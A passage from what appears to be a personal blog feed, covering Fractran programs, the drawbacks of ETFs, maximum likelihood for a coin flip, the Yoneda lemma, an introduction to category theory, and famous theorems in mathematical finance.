The program \(\frac{3\cdot 5}{2}\) yields \(3^a5^a\) given input
\(2^a\).
To copy the value of the \(5\)-register back, we need to change the
state.
Marking the first state with the two primes \(7\) and \(11\) we get
the program \(\frac{3\cdot 5\cdot 11}{2\cdot 7}\frac{7}{11}\). If we
evaluate this on \(2^a7\) we receive \(3^a5^a7\).
But now it is trivial to move the value back from the \(5\)-register.</p>
<p>The final program which outputs \(2^a3^a\) given input \(2^a7\) is
thus</p>
\[\begin{array}{ll}
\frac{3\cdot 5\cdot 11}{2\cdot 7},\frac{7}{11}, & \text{to copy the stuff from $2^a$ to $3^a5^a$} \\
\frac{1}{7}, & \text{to change the state that it stops copying when
we fill the $2$-register}\\
\frac{2}{5} & \text{to move the value back from $5$ to $2$}
\end{array}\]
<p>Let us check:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span> <span class="p">[</span><span class="mi">54</span><span class="p">]:</span> <span class="n">copy</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="mi">5</span><span class="o">*</span><span class="mi">11</span><span class="p">,</span><span class="mi">2</span><span class="o">*</span><span class="mi">7</span><span class="p">),(</span><span class="mi">7</span><span class="p">,</span><span class="mi">11</span><span class="p">),(</span><span class="mi">1</span><span class="p">,</span><span class="mi">7</span><span class="p">),(</span><span class="mi">2</span><span class="p">,</span><span class="mi">5</span><span class="p">)]</span>
<span class="p">...:</span> <span class="n">a</span><span class="o">=</span><span class="mi">3</span>
<span class="p">...:</span>
<span class="n">In</span> <span class="p">[</span><span class="mi">55</span><span class="p">]:</span> <span class="n">eval_fractran</span><span class="p">(</span><span class="n">copy</span><span class="p">,</span><span class="mi">2</span><span class="o">**</span><span class="n">a</span><span class="o">*</span><span class="mi">7</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="o">**</span><span class="n">a</span> <span class="o">*</span> <span class="mi">3</span><span class="o">**</span><span class="n">a</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">165</span><span class="p">,</span> <span class="mi">14</span><span class="p">)</span> <span class="n">to</span> <span class="mi">56</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="n">to</span> <span class="mi">660</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">165</span><span class="p">,</span> <span class="mi">14</span><span class="p">)</span> <span class="n">to</span> <span class="mi">420</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="n">to</span> <span class="mi">4950</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">165</span><span class="p">,</span> <span class="mi">14</span><span class="p">)</span> <span class="n">to</span> <span class="mi">3150</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="n">to</span> <span class="mi">37125</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">7</span><span class="p">)</span> <span class="n">to</span> <span class="mi">23625</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="n">to</span> <span class="mi">3375</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="n">to</span> <span class="mi">1350</span>
<span class="n">Applying</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="n">to</span> <span class="mi">540</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">55</span><span class="p">]:</span> <span class="bp">True</span></code></pre></figure>
<h3 id="addition">Addition</h3>
<p>Actually, addition is the same as our copy command, when we do not
have a clean target register.
If we evaluate the program \(\frac{2}{3}\) on input \(2^a3^b\) we copy
the \(3^b\) on top of \(2^a\) and get \(2^{a+b}\).</p>
<h3 id="subtraction">Subtraction</h3>
<p>After tackling addition, the obvious next trivial operation is
subtraction. If we have \(a\geq b\) we want to feed our program
\(2^a3^b\) and it should return \(2^{a-b}\). This can be achieved with
the program \(\frac{1}{2\cdot 3}\).
Note that if \(a\leq b\) we get instead \(3^{a-b}\). Thus we can also
use this to represent negative numbers.</p>
<h3 id="fibonacci-numbers">Fibonacci numbers</h3>
<p>Let us write a nontrivial program. We want to compute Fibonacci
numbers. Let \(f_n\) denote the \(n\)-th Fibonacci number. We want to
have a program, that given input \(2^{f_n}3^{f_{n+1}}5\) returns
\(2^{f_{n+1}}3^{f_{n+2}}=2^{f_{n+1}}3^{f_n+f_{n+1}}\). The \(5\) in
the input is again for maintaining state.</p>
<p>First we copy the powers of \(2\) to \(7\) so that we have \(3^{f_{n+1}}
7^{f_n}\). This can be achieved by the fraction \(\frac{7}{2}\).</p>
<p>Next, we copy the powers of \(3\) back to \(2\) and \(7\) so
that we are left with \(2^{f_{n+1}}7^{f_n+f_{n+1}}\). This can be done
by \(\frac{2\cdot 7}{3}\).</p>
<p>Lastly, we move the powers of \(7\) back to \(3\), leaving us with the
result \(2^{f_{n+1}}3^{f_n+f_{n+1}}\).</p>
<p>If we account for the different states we receive the following
program.</p>
\[\begin{array}{ll}
\frac{7\cdot 11}{2\cdot 5},\frac{5}{11} & \text{copy the powers of $2$ to $7$} \\
\frac{13}{5} & \text{switch to the next state} \\
\frac{2\cdot 7\cdot 17}{3\cdot 13},\frac{13}{17} & \text{copy the powers of $3$ back to $2$ and $7$} \\
\frac{1}{13} & \text{switch state} \\
\frac{3}{7} & \text{move the powers of $7$ back to $3$}
\end{array}\]
<p>I am not fully happy with it, since this performs only one Fibonaccy
iteration. Actually, I wanted to have something that takes as input
\(5^k\) and gives me back \(2^{f_k}\) or something similar. Anyway,
I’ll leave this as an open question for the readers.
We know that there is a solution due to the turing-completeness and I
conjecture that it can be realized by augmenting my program from above
with some more state bits.
And yeah, I know that googling would maybe yield a solution, but this
would take out all the fun.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I hope I have given an understandable introduction into the magic of
fractran. If you would like to play with it, you may want to try to
implement multiplication (from repeated addition) or division with
remainder (from repeated subtraction).</p>
My Love Hate Relationship With Etfs
2018-01-27T00:00:00+00:00
https://hkopp.github.io/2018/01/my-love-hate-relationship-with-etfs
<h3 id="note">NOTE</h3>
<p>I am seeking a full-time position in (southern) Germany or
Switzerland starting from October related to my skills as demonstrated
on this blog. If you know of any opportunities please message me on
<a href="https://www.linkedin.com/in/henning-kopp-482393156/">LinkedIn</a>.</p>
<hr />
<p>Since I often have to explain my mixed feelings regarding ETFs, I
thought I should write a post about it. So, here it is.</p>
<h2 id="advantages">Advantages</h2>
<p>The main advantages of ETFs are twofold: they are cheap and they
provide you with some diversification.
Often the annual fee is only around 0.5% which is less than the fee
charged by actively managed funds.
For a retail investor who does not actively want to rebalance its
portfolio, ETFs are nice, since they provide exposure to different
market factors. Since an ETF is a basket of stuff it has less
volatility than its underlyings (depending on their
covariance of course).</p>
<h2 id="drawbacks">Drawbacks</h2>
<p>My first objection to ETFs is that they track a market index. A
market index was originally invented as a way to judge the health of
the economy and not as an investment instrument. Thus, they often have
weird weightings. The S&P 500 (for my international readers), as well
as the german DAX (for my german readers) are weighted by
capitalization. That means that the higher cap a company has, the more
weight its shares have in the index. For the S&P that means that
Apple, Amazon and Microsoft make up most of the value. The top 10
shares influence the price as much as the bottom 300.
<a href="http://www.followingthetrend.com/2016/04/you-cant-beat-all-the-chimps/">Equal weighting or random weightings outperform the S&P
500.</a>
Thus, you do not get as much diversification as expected.
And you also do not get as much profits as you could get, since it is
more unlikely that a blue chip doubles in value than one of the
cheaper shares.</p>
<p>My second objection is that ETFs make the markets more stupid. If ETFs
are significantly more actively traded than their underlyings, then the correct
pricing of the underlyings becomes more inefficient. Relative
performance changes between different companies would not have such a
direct effect on the price of the shares, because in the ETF one
always buys the same proportion of shares.</p>
<p>Let me make this more clear with an exaggerated example. Assume we
have two companies AAAA and BBBB. Assume further we have an ETF which
consists of 20% AAAA and 80% BBBB. If everyone would only buy or sell
the ETF, but not AAAA or BBBB, then the relative prices of the
companies would never change. The value of AAAA would be 80% of the
ETF, the value of BBBB would be 20% of the ETF. Thus, BBBBs value
would always be 1/4 of the value of AAAA, and relative price changes
would not occur.</p>
<p>Another way in which ETFs make the markets dumber is the increase in
correlation among the assets in the same ETF, even if they have
nothing in common otherwise. Actually, I am not yet
sure if this is a bad thing, since it could also mean that factor
specific risks are priced more accurately.</p>
<h2 id="conclusion">Conclusion</h2>
<p>As you can see, though ETFs have their advantages, they also have a
bunch of drawbacks which do not affect the individual investor, but
rather the market as a whole. Moreover the drawbacks require a more
nuanced argumentation to state them and thus may not be widely known,
especially among hobby investors.</p>
Maximum Likelihood Estimation Of A Coin Flip
2017-12-20T00:00:00+00:00
https://hkopp.github.io/2017/12/maximum-likelihood-estimation-of-a-coin-flip
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<h2 id="introduction">Introduction</h2>
<p>Today, I will explain easy things in a complex way. I will give a
simple example of maximum likelihood estimation of the probabilities
of a biased coin toss.</p>
<h2 id="bernoulli-trial">Bernoulli trial</h2>
<p>A Bernoulli trial is a random experiment with two outcomes. The
standard example is the flip of a probably biased coin. Let us first
denote the outcomes with \(0\), and \(1\) instead of head and tail, since that
sounds a lot more professional.
The coin will land on one side, say \(1\) with probability of \(p\).
It will land on the other side \(0\) with a probability of \(1-p\),
since the probabilities need to sum to one.
In mathematical formulation we get the probability
\(P(X=1)=p\) and \(P(X=0)=1-p\).
Now we can define the probability mass function \(f(x;p)\).</p>
\[\begin{equation}
f(x;p)=\begin{cases}
p, & x=1\\
1-p, & x=0\\
\end{cases}
\end{equation}\]
<p>In case you only know continuous probability distributions, the
probability mass function is similar to the probability density function,
but in the discrete case.</p>
<h2 id="maximum-likelihood-estimation">Maximum Likelihood Estimation</h2>
<p>Let us now assume, that we have flipped the coin a few times and got
the results \(x_1,...,x_n\) which are either \(0\) or \(1\). In
stochastic parlance these are called observations.
The question is what the probability \(p\) is. Intuitively one could
assume that it is the number of ones we got divided by the total
number of coin throws. For example if we threw the coin a hundred
times and 30 times we got a one, then we would maybe guess
\(\hat{p}=30/100\).
Actually this is the interpretation from a frequentist perspective,
but let us not digress into that territory. I will prove in the
following that the intuition in this case is correct, by proving that
the guess \(\hat{p}=\sum x_i/n\) is the “most likely” value for the
real \(p\).</p>
<p>First, let us reformulate our probability mass function as
\(f(x;p)=p^x(1-p)^{1-x}\), which makes it easier to calculate with it.
If we have the (independent) observations \(x_1,...,x_n\), then their
joint probability mass function is</p>
\[\begin{equation}
f(x_1,...,x_n;p)=\prod\limits_i f(x_i;p)=p^{\sum x_i} (1-p)^{n-\sum x_i}.
\end{equation}\]
<p>If we interpret this as a function not in the observations with the
fixed parameter \(p\), but instead as a function in the model
parameter with fixed observations, we get what is called the likelihood
function \(\mathcal{L}(p;x_1,...,x_n)=f(x_1,...,x_n;p)\).</p>
<p>We now want to find the \(p\) with the highest likelihood given the
observation \(x_1,...,x_n\), that is, we want to maximize our
likelihood function \(\mathcal{L}(\cdot;x_1,...,x_n)\).
In this case it is easier to maximize the log of the likelihood
\(\log\mathcal{L}(p)=\sum x_i\log p + (n-\sum x_i)\log(1-p)\)
, which yields the same result, since the log is monotonously increasing.</p>
<p>As you may remember, maximizing a function means setting its
first derivative to zero.</p>
\[\begin{align*}
\frac{\partial\log\mathcal{L}(p)}{\partial p}
= \frac{\sum x_i}{p} - \frac{n-\sum x_i}{1-p}
= \frac{(1-p)\sum x_i -pn +p \sum x_i}{p(1-p)}
= \frac{\sum x_i -pn}{p(1-p)}
\stackrel{!}{=}0
\end{align*}\]
<p>Multiplying by \(p(1-p)\) yields that the maximum is reached at
\(p=\frac{\sum x_i}{n}\). This is the most likely value for \(p\)
given our observation which confirms our intuition.</p>
The Yoneda Lemma
2017-11-12T00:00:00+00:00
https://hkopp.github.io/2017/11/the-yoneda-lemma
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<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain my favorite theorem: The Yoneda lemma.
If you do not know what category theory is, you should maybe read my
<a href="/2017/10/introduction-to-category-theory">previous post</a> where I explain some of the basics.</p>
<p>The thing that fascinates me about the Yoneda lemma is that depending
on the concrete category you are working with, it provides a theorem
which is mostly nontrivial. Previously, these theorems were proven
independently since it was unknown that they can be generalized with
category theory.
One way to think of the Yoneda lemma is through particle physics. In
particle physics, it suffices to take a particle and shoot other
particles at it. If one knows all reactions of a special particle with
all possible particles, then one knows everything there is to know
about the special particle. The Yoneda lemma formalizes this
intuition.
In a <a href="/2017/01/distributions">previous post</a> I have generalized functions by
defining generalized functions (distributions) by their action on
other functions, so-called test functions. This was also an
application of the Yoneda-embedding.</p>
<p>Depending on the concrete category it provides the following theorems:</p>
<ul>
<li>In a poset every element can be determined by the set of all
elements it is greater than or equal to. In particular, every
element is equivalent to a Dedekind cut. Or alternatively, every
element of a partially ordered set can be included in some powerset.</li>
<li>Cayley’s theorem: Every group is isomorphic to a subgroup of a
permutation group.</li>
<li>Erdös’ lemma: Every graph is isomorphic to a family of subsets
\(S_i\) of a set \(S\) such that \(v_i\) and \(v_j\) are joined by
an edge iff \(S_i\cap S_j\neq\emptyset\)</li>
<li>Every ring has a faithful module.</li>
</ul>
<h2 id="presheaves">Presheaves</h2>
<p>First, we are going to generalize elements in sets.
If we have a set \(M\) containing some elements \(m_1,...\) we may
recognize that we can instead of looking at the elements look at
the projections \(\{*\}\rightarrow M\).
Here, \(\{*\}\) denotes a set which contains only one element. Instead
of taking the elements directly we identify them by a “choosing function”
which picks single elements.
Thus, each projection \(\{*\}\rightarrow M\) corresponds to a single
elements. To generalize elements in sets we can generalize this notion
of “picking” by allowing other sets as the singleton set
\(\{*\}\) as the domain.
Let us define this for general categories, not only for sets:</p>
<p>Let \(\mathcal{C}\) be a locally small category, \(A\) an object in \(\mathcal{C}\).
Then we define the contravariant Hom-functor of A by
\(\begin{align*}
A^\circ: \mathcal{C}&\rightarrow Set\\
B&\mapsto Hom(B,A)\\
(B\stackrel{f}{\rightarrow} B')&\mapsto (Hom(B',A)\stackrel{\_\circ f}{\rightarrow}Hom(B,A))
\end{align*}\)<br />
where Set is the category of sets.</p>
<p>This is a contravariant functor as you may want to prove by checking the
corresponding functor laws. Go grab a pen, it is really not that
difficult and will help your understanding. I wait here for you.</p>
<p>Locally small means that the morphisms between each two objects form a
set. If this is not the case we get problems pertaining the
well-definedness.</p>
<p>I will occasionally write \(Hom(\_,A)\) instead of \(A^\circ\).</p>
<p>A presheaf on a category \(\mathcal{C}\) is any functor
\(F:\mathcal{C}^{op}\rightarrow Set\).
A presheaf is called representable if it is naturally isomorphic to
the contravariant Hom-functor \(A^\circ\) for some object \(A\).</p>
<h2 id="the-yoneda-lemma">The Yoneda lemma</h2>
<p>The Yoneda lemma tells us that we can get all presheaves from
Hom-functors through natural transformations and how to do this. It
explicitly enumerates all these natural transformations.</p>
<p>If you look into literature, what I am going to explain is often
called the contravariant Lemma of Yoneda. I think it is easier to
understand than the usual Yoneda, but you can get the other one by
applying the contravariant Yoneda in the opposite category.</p>
<p>Since we can define a presheaf \(A^\circ\) for each object \(A\) in a
category we can define an embedding \(\_^\circ\). This is called the
Yoneda embedding and is a (co-variant) functor</p>
\[\begin{align*}
\mathcal{Yon}: \mathcal{C}&\rightarrow Fun(\mathcal{C}^{op}, Set)\\
A&\mapsto A^\circ \\
(A\stackrel{f}{\rightarrow} A')&\mapsto (A^\circ\stackrel{f\circ\_}{\rightarrow}(A')^\circ))
\end{align*}\]
<p>The Yoneda embedding embeds a category into a category of functors.
The question the Yoneda lemma answers is how the elements behave in
this new category. How do they interact with the other elements?
What are the morphisms \(Mor(A^\circ, F)\) for some \(F\) from the
bigger category \(Fun(\mathcal{C}^{op}, Set)\)?</p>
<p><strong>Lemma(Yoneda):</strong>
Let \(F:\mathcal{C}^{op}\rightarrow Set\) be an arbitrary functor.
Then for all objects \(A\in Ob(\mathcal{C})\) there is a bijection.
\begin{equation}
F(A)\simeq Mor(A^\circ, F)
\end{equation}</p>
<p>On the left side of the equation there is a set, say \(X\). On the
right side of the equations, we have morphisms between two functors
\(A^\circ\) and \(F\), i.e., natural transformations \(\eta_X\).</p>
<p>To prove this, let us first take a natural transformation from the
right set \(Mor(A^\circ, F)\). Let’s say \(\eta\).
This looks as follows:<br />
\(\require{AMScd}
\begin{CD}
Hom(\_,A) \\
@VV\eta V \\
F(\_) \\
\end{CD}\)</p>
<p>I want to show that \(\eta\) is completely determined by some object
in \(F(A)\). This would give us a bijection \(F(A)\simeq Mor(A^\circ,
F)\) and we are done.</p>
<p>So, take some morphism \(f:X\rightarrow A\) for some
arbitrary object \(X\) in \(\mathcal{C}\).
Since \(\eta\) is a natural transformation, we can draw the following
commutative diagram by applying \(\eta\) at the components \(A\) and
\(X\).</p>
\[\require{AMScd}
\begin{CD}
Hom(A,A) @>\_\circ f>> Hom(X,A) \\
@VV\eta_AV @VV\eta_XV \\
F(A) @>F(f)>> F(X) \\
\end{CD}\]
<p>We do not know a lot about \(Hom(A,A)\), but we know that it contains the identity \(id_A\).
Thus we can trace the functions on the element \(id_A\) and get the
following:</p>
\[\require{AMScd}
\begin{CD}
id_A @>\_\circ f>> f \\
@VV\eta_AV @VV\eta_XV \\
u @>F(f)>> \eta_X(f)=(F(f))(u) \\
\end{CD}\]
<p>I take the symbol \(u\) for \(\eta_A(id_A)\).
The equation on the lower right \(\eta_X(f)=(F(f))(u)\) follows from
commutativity. One hand is given by going through the upper right
corner, the other hand is given by going through the lower left
corner.</p>
<p>Note that we started with any \(\eta\) and wanted to find some object
in \(F(A)\) which completely determines \(\eta\). But hey, we are
done. \(u=\eta_A(id_A)\) is such an object. It determines \(\eta\)
completely since if we know \(u\), we know \(\eta_X(f)\) for each
\(X\), since this is exactly \((F(f))(u)\) and thus only depends on
\(u\). Thus, the proof is complete.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Even if you do not share my enthusiasm for my favorite theorem I hope
you found this post helpful. The important thing to remember is that
things are fully determined by their interactions with everything
else.
Even if you did not follow each of the steps in the proof I hope that
I could convince you that the Yoneda lemma is a very powerful tool.
And even if you did not understand anything at all, which I doubt,
since then you would not be reading to the bottom of the page, I may
have convinced you that there are areas of math that have nothing to
do with boring computations and numbers.</p>
Introduction To Category Theory
2017-10-07T00:00:00+00:00
https://hkopp.github.io/2017/10/introduction-to-category-theory
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<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain the fundamentals of category theory
in order to explain my favorite theorem in a later post.
Category theory is a really pure and fundamental part of mathematics,
comparable to set theory.
Thus it sometimes is dry since there is no immediate application. But
constructions from category theory recently found applications like in
programming languages, especially Haskell.
In a nutshell, category is the study of things together with its structure.
It can be used as a foundation for all of mathematics, like set
theory.</p>
<p>Another motivation to learn category theory is that sometimes the same
concepts surface in different areas of mathematics. For example a
product. There is a product of integers, of vector spaces, of
topologies, of groups, … So, why not define a product on a much more
general structure? The same is true with isomorphisms, or quotients,
…</p>
<h2 id="category-a-definition">Category, a definition</h2>
<p>We start with the basic thing in category theory: a category. A
category is a thing together with structure, as motivated above.
More precise, a category \(\mathcal{C}\) consists of</p>
<ul>
<li>objects \(Ob(\mathcal{C})\), like \(A, B, C, ...\), i.e., things</li>
<li>morphisms (or arrows) \(Mor(\mathcal{C})\), like \(f, g, h,
...\). One can think of these as functions, but they can also be
relations or orders, i.e., structure.</li>
<li>For all morphisms \(f\) there are objects \(dom(f)\) and
\(codom(f)\), called domain and codomain. We write this as
\(f:dom(f)\rightarrow codom(f)\).</li>
<li>For morphisms \(f, g\) such that \(f:A\rightarrow B\),
\(g:\rightarrow C\) there is a morphism \(g\circ f:A\rightarrow
C\). This amounts to composition of morphisms.</li>
<li>For all objects \(A\) there is the identity morphism
\(id_A:A\rightarrow A\).</li>
</ul>
<p>Additionally we require</p>
<ul>
<li>Associativity: \(h\circ (g\circ f)=(h\circ g)\circ f\), for all
\(f,g,h\), such that this expression is defined.</li>
<li>Unity: \(f\circ id_A = f = id_B \circ f\) for all \(f:A\rightarrow
B\).</li>
</ul>
<h3 id="examples">Examples</h3>
<p>The fun part in category theory is always the examples. The category
above looks like a set with functions, but indeed it is more general.</p>
<ol>
<li>As mentioned, any set is a category. E.g., take \(S=\{A,B,C\}\) and
only the identity morphisms \(id_A, id_B, id_C\).</li>
<li>Any ordered set is a category. Let \((D,\leq)\) be an ordered set.
Then we define \(f:A\rightarrow B\) if \(A\leq B\). Function
composition in this respect means transitivity, i.e., if \(A\leq
B\) and \(B\leq C\), then \(A\leq C\). So, categories can be
used to express order relations.</li>
<li>The set of all Haskell types is a category, i.e., Integer, Char,
Lists of Chars, … (Well, nearly. There are some exceptions, which
have to do with undefinedness.) The morphisms are just the usual
functions you can write in Haskell.</li>
<li>The “set of all sets” is a category. If you take all sets together,
this is not a set, due to Russel’s paradox, but in a sufficiently
generalized manner, this works. Note that in this case the objects
do not form a set. This can be formalized, but I am skipping this
part.</li>
<li>For each category \(\mathcal{C}\) we get a dual category
\(\mathcal{C}^{op}\) by reversing all the arrows.</li>
</ol>
<h2 id="functors">Functors</h2>
<p>After looking at categories, the next thing are functions between
categories. These are called functors and preserve the structure of
the category. Thus, if we take categories as objects and functors as
their morphisms, we even get a category of categories.</p>
<h3 id="definition">Definition</h3>
<p>We call a function \(F\) between two categories \(\mathcal{C}\) and
\(\mathcal{D}\), i.e.,</p>
\[\begin{align*}
F:\mathcal{C}&\rightarrow\mathcal{D}\\
A&\mapsto F(A) \\
(A\stackrel{f}{\rightarrow}B)&\mapsto(F(A)\stackrel{F(f)}{\rightarrow}F(B))
\end{align*}\]
<p>a (covariant) functor, if for all objects \(A\) we have \(F(id_A)=id_{F(A)}\) and
\(F(f\circ g)=F(f)\circ F(g)\), for \(f, g\) suitable.</p>
<p>We call a functor contravariant if all of the above is satisfied
except we have \(F(f\circ g)=F(g)\circ F(f)\), for \(f, g\) suitable,
instead of \(F(f\circ g)=F(f)\circ F(g)\), i.e., they switch places.</p>
<p>Note that we define the action of the functor on the objects, as well
as the morphisms. The requirements to preserve the identity and the
compositions are the preservation of the structure i have mentioned
above.</p>
<h3 id="examples-1">Examples</h3>
<ol>
<li>Lists in Haskell are a functor. I.e., the morphisms which maps
types to a list of types, also Maybe is a functor in Haskell.</li>
<li>Let us take another Haskell example. Let us define a tree
<code class="language-plaintext highlighter-rouge">data Tree a = Leaf a | Branch (Tree a) (Tree a)</code>
This is also a functor mapping types into trees containing these
types. The composition is preserved, since if we have a tree of
things of type \(A\), and a function \(f:A\rightarrow B\), then we
can apply \(f\) to all things in the tree (this is called \(F(f)\))
and get a tree of things with type \(B\).</li>
<li>Taking a set to its powerset is a functor from the category of sets
to the category of sets.</li>
<li>The identity functor is also a functor which maps any category to
itself. Thus, as stated above, if we take categories as objects and
functors as the morphisms, we can see that all categories together
form a category.</li>
<li>For each contravariant functor
\(F:\mathcal{C}\rightarrow\mathcal{D}\), there is a unique
covariant functor
\(\bar{F}:\mathcal{C}^{op}\rightarrow\mathcal{D}\). Okay, this is
not really an example, but more an exercise. Go ahead, Take a
pencil and try to define \(\bar{F}\).</li>
</ol>
<h2 id="natural-transformations">Natural transformations</h2>
<p>Another fun part of category theory is that one always goes a step
further. We have categories. We have functors between categories. We
have seen that there is a category of categories. But what are the
functors there? Turns out, these are interesting to study on its own.
We call then natural transformations.
With the natural transformations as functors and the functors as
morphisms, we even get the category of morphisms.</p>
<h3 id="definition-1">Definition</h3>
<p>A natural transformation \(\eta\) between Functors
\(F,G:\mathcal{C}\rightarrow\mathcal{D}\) is a family of functors
\(\eta=\{\eta_A\}_{A\in ob(\mathcal{C})}\) such that the following
diagram commutes for all \(f:A\rightarrow B\).</p>
\[\require{AMScd}
\begin{CD}
F(A) @>F(f)>> F(B) \\
@VV\eta_AV @VV\eta_BV \\
G(A) @>G(f)>> G(B) \\
\end{CD}\]
<p>And with these definitions I will end my expositions. Next time, we
can take a look at my favorite theorem: The Yoneda Lemma.</p>
<h2 id="references">References</h2>
<p>If you are interested in category theory, there is “Categories for the
working mathematicians” which started it all. It is primarily written for a
mathematical audience.</p>
<p>Then there is “Catgory Theory” by Awodey which is also a good book. He
is a little bit more on the computer science side, since he, e.g.,
introduces lambda calculus as a category.</p>
<p>For pure programmers there is no real resource except the blog, by
<a href="https://bartoszmilewski.com/">Bartosz Milewski</a>. This guy is a
genius, despite his habit of sometimes drawing objects as pigs and
morphisms as fireworks. (Yeah, you read that right. This is also a
category.)</p>
Famous Theorems In Mathematical Finance
2017-08-23T00:00:00+00:00
https://hkopp.github.io/2017/08/famous-theorems-in-mathematical-finance
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post, I want to explain the intuition behind some famous
theorems in mathematical finance.
I will not explain any proofs, since you can find these in
books, but rather for what the theorems can be used.</p>
<h2 id="girsanovs-theorem">Girsanov’s theorem</h2>
<p>Let us start with Girsanov’s theorem. We need a Brownian motion
\(W_t\) under measure \(\mathbb{P}\), and a “sufficiently reasonable”
function \(v\). Then there is an equivalent measure \(\mathbb{Q}\)
such that \(\bar{W_t}=W_t-vt\) is Brownian motion under
\(\mathbb{Q}\). In fact Girsanov’s theorem is even more general,
since it gives us a way to compute \(\mathbb{Q}\).</p>
<p>This theorem mostly comes in handy if you want to have Brownian
motion, but currently have Brownian motion with a drift. E.g., you
want to model your stock prices as a Brownian motion, but care about
the interest rate. With Girsanov’s theorem you just change the
measure and your drift vanishes.</p>
<h2 id="fokker-planck-equation">Fokker-Planck Equation</h2>
<p>Also called the Kolmogorov Forward Equation. This one is pretty
straightforward but looks scary.
We have a stochastic process \(dX_t=\mu(X_t,t) dt+\sigma(X_t,t) dW_t\)
and are interested in the probability distribution at a future point
in time. Fokker-Planck says that for the probability distribution
\(p(x,t)\) it holds that
\(\begin{align*}
\frac{\partial}{\partial t}p(x,t)=
-\frac{\partial}{\partial x}(\mu(x,t)p(x,t))+
\frac{\partial^2}{\partial x^2}(D(x,t)p(x,t))
\end{align*}\)
, where \(D(x,t)=\sigma^2(X_t,t)/2\) is the diffusion.
Think of \(X_t\) as the price of an asset. Then the Fokker-Planck
equation gives us the probability distribution of the price of the
asset at the future time \(t\).</p>
<h2 id="black-scholes-equation">Black-Scholes equation</h2>
<p>The famous Black-Scholes equation is a partial differential equation
which describes the price of a financial derivative. The idea is that
we have a stock with according price \(S(t)\) at time \(t\) and a
derivative with price \(V(S_t)=V(S,t)\). Depending on the boundary
condition, e.g., the price at expiry, this may be a put or call
option, or something totally different.
The idea is that we can hold \(V\) and then buy and sell \(S\) in such
a fashion that our account balance stays at zero. This is called
Delta-hedging. Thus we can describe the price of \(V\), because of
“no-arbitrage”.
The Black-Scholes formula is as follows:
\(\begin{align*}
\frac{\partial V}{\partial t} + \frac{1}{2}\sigma^2 S^2
\frac{\partial^2 V}{\partial S^2} + rS\frac{\partial V}{\partial S} -
rV = 0
\end{align*}\)</p>
<p>, where \(r\) is the risk-free interest rate, \(\sigma\) is standard
deviation and \(\mu\) is drift.</p>
<p>Behold! This was at a time when martingales were not invented yet.
Differential equations like the one above were used to price options.
Scholes and Merton, who also had something to do with this equation
received the Nobel Prize in economics 1997 for their work. Black
unfortunately died in 1995.</p>
<p>Today the Black-Scholes equation has many drawbacks and I nearly never
use it, since I like the martingale approach better. I consider the
Black-Scholes equation
like the Sex Pistols. They were very influential at their time and
defined a generation. But today I do not often listen to them. There
is better stuff out there.</p>
<h2 id="martingale-decomposition-theorem">Martingale decomposition theorem</h2>
<p>The differential equation approach to pricing derivatives relied on
having a portfolio containing the derivative, say \(M_t\) and then
delta-hedging. In particular one could obtain a constructive hedging
strategy. When pricing with the martingale approach this is often not
the case. Martingales heavily rely on being risk-neutral.
This is where the Martingale representation theorem comes into play.
Assume we have some Brownian motion \(W_t\) and a continuous
martingale \(M_t\) both adapted to the same filtration. Then the
theorem says that there exists a predictable process \(\phi(t)\) such
that
\(\begin{align*}
dM_t=\phi(t)dW_t
\end{align*}\).
In an application \(W_t\) is the price of the underlying, \(M_t\) is
the price of the derivative and \(\phi(t)\) is the hedging strategy.
Note that this is not a constructive theorem and only yields the
existence of such a hedging strategy.</p>
<p>Intuitively, all the information about the ups and downs of the
Brownian motion are included in the filtration. Since \(M\) is adapted
regarding the same filtration as \(W\), it is only natural that they
move together.</p>
<p>Another way I think of this theorem is that every martingale is just
scaled Brownian motion. And we know a lot of theorems about Brownian
motion. Maybe this will come in handy sometimes.</p>
<h2 id="feynman-kac-formula">Feynman-Kac formula</h2>
<p>When I first read the description of the formula I was pretty aghast.
I did not know much about differential equations at the time and still
consider myself more of a pure mathematician.
You can look up the formula for yourself on
<a href="https://en.wikipedia.org/wiki/Feynman%E2%80%93Kac_formula">wikipedia</a>.
The setting of the formula is the Black-Scholes equation, with a
terminal condition. In theory this describes the price of the
financial derivative at expiry. Feynman-Kac says that we can also write the
solution as an expectation.</p>
<p>This is precisely the link between the differential equation approach
to derivative pricing using Black-Scholes, and the martingale
approach. In the last one, we look at the expectation of the price of
the derivative assuming the underlying evolves according to Brownian
motion.
Feynman-Kac says that the theoretical prices received from the two
approaches are the same.</p>
<h2 id="references">References</h2>
<p>I had to look up some of this on wikipedia, as well as my current
favorite financial math book, “The Concepts and Practice of
Mathematical Finance” by Joshi.</p>
Identifying Asset Pairs For Pairs Trading
2017-07-13T00:00:00+00:00
https://hkopp.github.io/2017/07/identifying-asset-pairs-for-pairs-trading
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
